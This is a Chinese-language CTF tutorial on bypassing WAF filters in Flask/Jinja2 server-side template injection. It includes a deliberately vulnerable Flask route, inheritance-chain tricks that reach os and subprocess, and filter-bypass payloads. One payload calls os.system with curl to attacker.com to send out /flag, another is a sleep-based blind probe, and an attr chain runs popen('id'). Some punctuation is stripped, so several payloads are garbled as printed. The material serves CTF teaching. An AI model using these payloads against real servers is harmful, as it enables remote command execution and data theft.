CTF选手必看:Flask SSTI绕过WAF的N种奇技淫巧与Payload构造思路
CTF竞赛中的Flask SSTI高级绕过技术从基础到实战在CTF竞赛中服务器端模板注入SSTI一直是Web安全赛道的经典题型。面对越来越严格的WAF规则传统的payload构造方法往往难以奏效。本文将带您深入理解Flask框架下Jinja2模板引擎的底层机制掌握一套系统化的绕过思路而不仅仅是记忆几个现成的payload。1. SSTI基础与引擎识别1.1 理解模板注入的本质模板注入之所以危险在于它打破了代码与数据的边界。当用户输入被直接拼接进模板字符串时Jinja2的语法解析器会将其误认为模板指令执行。与SQL注入类似关键在于控制输入中的特殊字符如{{}}来逃逸出数据上下文。典型漏洞代码示例from flask import Flask, request, render_template_string app Flask(__name__) app.route(/vuln) def vulnerable(): name request.args.get(name, Guest) template fh1Hello {name}/h1 return render_template_string(template)1.2 快速识别模板引擎在CTF比赛中准确识别模板引擎类型是第一步。以下是针对Jinja2的特征检测方法数学运算测试{{7*7}}→ 49字符串连接测试{{ab}}→ ab特殊语法测试{{ self.__dict__ }}不同引擎的差异对比测试payloadJinja2输出Twig输出Django输出{{a.upper()}}AA报错{{7*7}}777777749报错2. 对象继承链的深度利用2.1 Python对象魔术方法Jinja2环境下可以通过魔术方法访问Python对象模型.__class__ # → class str ().__class__ # → class tuple [].__class__ # → class list {}.__class__ # → class dict ().__class__.__base__ # → class object2.2 子类挖掘技术通过__subclasses__()可以获取所有继承自object的类这是SSTI利用的核心跳板.__class__.__base__.__subclasses__()实用查找技巧使用脚本自动化搜索关键类重点关注以下危险类_frozen_importlib.BuiltinImportersubprocess.Popenwarnings.catch_warningsos._wrap_close2.3 全局变量访问路径通过__globals__可以访问函数的全局命名空间().__class__.__base__.__subclasses__()[X].__init__.__globals__其中常包含的关键模块ossys__builtins__importlib3. 高级绕过技术实战3.1 符号过滤的创造性解法绕过双大括号限制使用{% if ... %}...{% endif %}结构利用{% with ... %}...{% endwith %}临时变量示例{% with a__cla,bss__ %}{% set ca~b %}{{ ()[c] }}{% endwith %}处理下划线过滤Hex编码\x5f代替_字符串拼接__class__过滤器反转{{ ()[__ssalc__|reverse] }}3.2 关键字过滤的艺术动态字符串构造{% set adict(cla,ass__a)|join %}{{ ()[a] }}数学运算替代数字{% set idxaaaaa|length %}{{ .__class__.__base__.__subclasses__()[idx] }}3.3 无回显场景下的利用带外数据外传{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__[os].system(curl http://attacker.com/?flagcat /flag) }}时间盲注技术{% if .__class__.__base__.__subclasses__()[X].__init__.__globals__[os].system(sleep 5) 0 %}a{% endif %}4. 防御对抗与实战思维4.1 现代WAF的常见策略防御层典型措施绕过思路词法分析黑名单关键字过滤编码/拼接/上下文拆分语法分析模板语法结构检测使用非常规控制结构语义分析危险函数调用监控间接调用链沙箱环境限制系统调用利用已有资源构造命令4.2 实战中的思维框架信息收集阶段确定模板引擎类型枚举可用内置对象和方法探测过滤规则边界原型构造阶段建立最小可用payload测试基础对象访问路径绕过开发阶段分析过滤规则模式设计等效替代方案组合多种绕过技术利用完善阶段处理字符长度限制适应无回显环境实现稳定利用在最近的HackTheBox比赛中一道SSTI题目要求选手在过滤了所有括号和点的限制下完成利用。最终解决方案是{% with arequest|attr(application)|attr(__globals__)|attr(__getitem__)(os)|attr(popen)(id)|attr(read)() %}{{ a }}{% endwith %}这种层层递进的思维方式正是高级CTF选手区别于初学者的关键所在。记住模板注入的本质是代码与数据的边界模糊而绕过艺术的核心在于用系统的视角理解过滤逻辑而非死记硬背payload。